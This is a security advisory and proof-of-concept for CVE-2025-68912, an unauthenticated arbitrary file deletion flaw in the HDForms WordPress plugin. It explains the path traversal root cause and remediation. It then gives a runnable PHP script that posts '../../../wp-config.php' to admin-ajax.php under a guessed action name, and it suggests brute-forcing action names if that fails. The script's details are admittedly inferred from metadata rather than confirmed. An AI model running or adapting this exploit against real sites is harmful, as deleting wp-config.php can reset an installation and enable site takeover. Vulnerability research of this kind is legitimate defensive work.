Atomic Edge analysis of CVE-2025-68912 (metadata-based):
This vulnerability is an unauthenticated arbitrary file deletion flaw in the HDForms WordPress plugin. The vulnerability stems from improper path validation in a plugin function, allowing attackers to delete any file on the server. The CVSS score of 9.1 reflects its high severity due to the network attack vector, low attack complexity, and high impacts on integrity and availability.
Atomic Edge research identifies the root cause as CWE-22, Improper Limitation of a Pathname to a Restricted Directory. The vulnerability description confirms insufficient file path validation. Without a code diff, we infer the plugin likely accepts user-controlled input for a file path parameter and passes it directly to a file deletion function like `unlink()`. The plugin fails to validate if the supplied path is within an intended directory, enabling directory traversal sequences.
Exploitation likely targets a WordPress AJAX endpoint accessible without authentication. The attacker sends a POST request to `/wp-admin/admin-ajax.php` with an `action` parameter corresponding to a vulnerable plugin hook, such as `hdforms_delete_file`. The request includes a parameter, perhaps named `file` or `path`, containing a relative path traversal payload like `../../../wp-config.php`. No nonce or capability check is present, permitting unauthenticated access.
Remediation requires implementing proper path validation and access controls. The fix must normalize the user-supplied path, then verify it resides within an allowed directory, such as the plugin’s own uploads folder. The plugin should also add a capability check to restrict the function to authorized users and a nonce check to prevent CSRF. Input should be sanitized to remove directory traversal sequences before use.
Successful exploitation allows complete server compromise. Deleting the `wp-config.php` file can reset a WordPress installation, enabling privilege escalation or site takeover. Arbitrary file deletion can disrupt application functionality, cause denial of service, or enable remote code execution by removing critical files that trigger code inclusion from a backup or a writable directory.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-68912 - HDForms <= 1.6.1 - Unauthenticated Arbitrary File Deletion
<?php
/**
* Proof of Concept for CVE-2025-68912.
* This script attempts to exploit an unauthenticated arbitrary file deletion vulnerability.
* Assumptions based on CWE-22 and WordPress plugin patterns:
* 1. The plugin exposes an AJAX action hook without capability or nonce checks.
* 2. A user-controlled parameter (e.g., 'file') is passed directly to unlink().
* 3. The endpoint is /wp-admin/admin-ajax.php.
* The exact action and parameter names are inferred and may require adjustment.
*/
$target_url = 'http://target-site.com/wp-admin/admin-ajax.php'; // CHANGE THIS
// The AJAX action. Common patterns: '{plugin_slug}_action', '{plugin_slug}_delete_file'.
$inferred_action = 'hdforms_delete_file';
// The file parameter name. Common names: 'file', 'path', 'filename'.
$file_param = 'file';
// Target file to delete. Path traversal is used to escape the plugin's intended directory.
$file_to_delete = '../../../wp-config.php';
$post_data = array(
'action' => $inferred_action,
$file_param => $file_to_delete
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Suppress SSL warnings for testing. Remove in production environments.
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "Sent POST to: $target_urln";
echo "Action: $inferred_actionn";
echo "Target File: $file_to_deleten";
echo "HTTP Response Code: $http_coden";
echo "Response Body:n$responsen";
if ($http_code == 200 && (strpos($response, 'success') !== false || strpos($response, 'deleted') !== false)) {
echo "[+] File deletion may have succeeded. Verify site functionality.n";
} else {
echo "[-] Exploit attempt may have failed. The inferred action or parameter name might be incorrect.n";
echo " Consider brute-forcing common AJAX action names or reviewing plugin source if available.n";
}
?>
